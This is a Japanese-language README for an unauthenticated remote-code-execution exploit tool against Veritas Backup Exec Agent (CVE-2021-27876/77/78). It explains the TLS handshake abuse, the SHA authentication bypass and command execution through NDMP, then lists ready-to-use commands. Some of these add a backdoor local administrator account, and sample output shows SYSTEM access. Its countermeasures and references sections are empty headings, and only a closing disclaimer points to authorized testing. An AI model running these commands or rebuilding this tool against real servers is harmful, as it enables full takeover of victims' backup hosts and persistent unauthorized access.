
Veritas Backup Exec Agent向けの未認証RCEエクスプロイト(CVE-2021-27876/77/78)— NDMP経由でSHA認証をバイパスしてSYSTEM権限を取得
Veritas Backup Exec Agent(CVE-2021-27876/77/78)の認証不要RCEエクスプロイト — NDMPを介したSHA認証バイパスによるSYSTEM権限取得
| CVE | 説明 | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | NDMPプロトコルにおけるSHAハッシュ操作による認証バイパス | 9.8 Critical |
| CVE-2021-27877 | NDMPを介した認証不要の任意ファイル読み取り | 9.8 Critical |
| CVE-2021-27878 | NDMP_EXECUTE_COMMANDによる任意のOSコマンド実行 | 9.8 Critical |
勧告: Veritas VTS21-003
修正バージョン: Backup Exec 21.3以降。
Veritas Backup Exec AgentはTCP/10000で待ち受け、NDMP(Network Data Management Protocol)で通信します。このエクスプロイトは次の3つの脆弱性を連鎖させます:
TLSハンドシェイクの悪用 — エージェントは独自のTLSネゴシエーション中にCSRを要求します。エクスプロイトはローカルCAを生成し、エージェントのCSRに署名してハンドシェイクを完了させます。 これにより、事前共有シークレットなしでソケットがTLSにアップグレードされます。
SHA認証バイパス(CVE-2021-27876) — NDMPのSHA認証はSHA256('\x00' * 64 + challenge)を計算します。パスワードが64バイトのゼロ埋めブロックとして前置され、サーバー側でパスワード素材の検証が行われないため、
どのクライアントでもパスワードを知らなくてもAdministratorとして認証できます。
NDMP_EXECUTE_COMMAND(CVE-2021-27878) — 認証が完了すると、NDMP_EXECUTE_COMMANDメッセージタイプによりNT AUTHORITY\SYSTEMとして任意のOSコマンドが実行されます。出力は
C:\Windows\Temp\_be_out.txtにリダイレクトされ、NDMP_FILE_READ経由で読み戻されます。
Python 3.8+
最近のディストリビューションではPythonは「外部管理」(PEP 668)とマークされているため、仮想環境に依存関係をインストールしてください:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
使用例:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
対策
参照
免責事項
このツールは、許可を受けたペネトレーションテストおよびセキュリティ研究専用です。明示的な書面による許可なしにシステムに対して使用することは違法です。作者は不正使用に対する一切の責任を負いません。